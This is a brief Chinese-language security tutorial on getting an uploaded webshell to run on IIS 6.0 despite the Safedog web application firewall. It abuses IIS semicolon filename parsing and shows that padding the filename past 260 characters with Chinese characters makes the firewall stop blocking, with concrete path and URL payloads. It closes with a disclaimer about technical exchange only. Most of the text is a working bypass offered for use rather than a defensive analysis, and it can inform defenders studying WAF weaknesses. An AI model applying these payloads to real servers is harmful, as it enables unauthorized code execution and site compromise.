在访问诸如:a.asp;.jpg/;a.asp;a.jpg/a.asp;a.jpg等IIS6.0解析shell的时候会被网站安全狗拦截,可以用一些猥琐的方法绕过其限制来执行上传的webshell
安全狗功能
1、上传a.asp;.jpg/;a.asp;a.jpg/a.asp;a.jpg等不会被拦截。
2、访问a.asp;.jpg/;a.asp;a.jpg/a.asp;a.jpg等会被拦截。
3、上传.asp/.asa/.cer/.cdx等文件会被拦截,如图2和图3:
图2
图3
所以呢,直接上传webshell是不可能了,只能通过上传IIS解析shell来突破了。那么,就从文件名入手吧。
Windows 路径+文件夹名+文件名,不能超过260。
那就把文件名增加到极限试试:
D:\web\pic.asp;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpg
访问:
http://localhost/pic.asp;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpg
依然被拦截,如图4:
图 4
英文文件名无法突破,那来试一试中文吧。
D:\Web\屯屯.asp;.jpg
访问:
http://localhost/屯屯.asp;.jpg
还是被拦截,如图5:
图 5
把中文文件名增加到一定长度试试:
http://localhost/pic.asp;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯.jpg
如图6,实际测试当长度超过260(中文算长度2)时,安全狗便失去了截断防御功能(中文放在前后都是可以的)。中文长度当然不能无限大,因为IIS要求的URL长度是有限制的,超过便会报错。
只做技术交流 请勿他用 网络安全为双刃剑 务必记住!!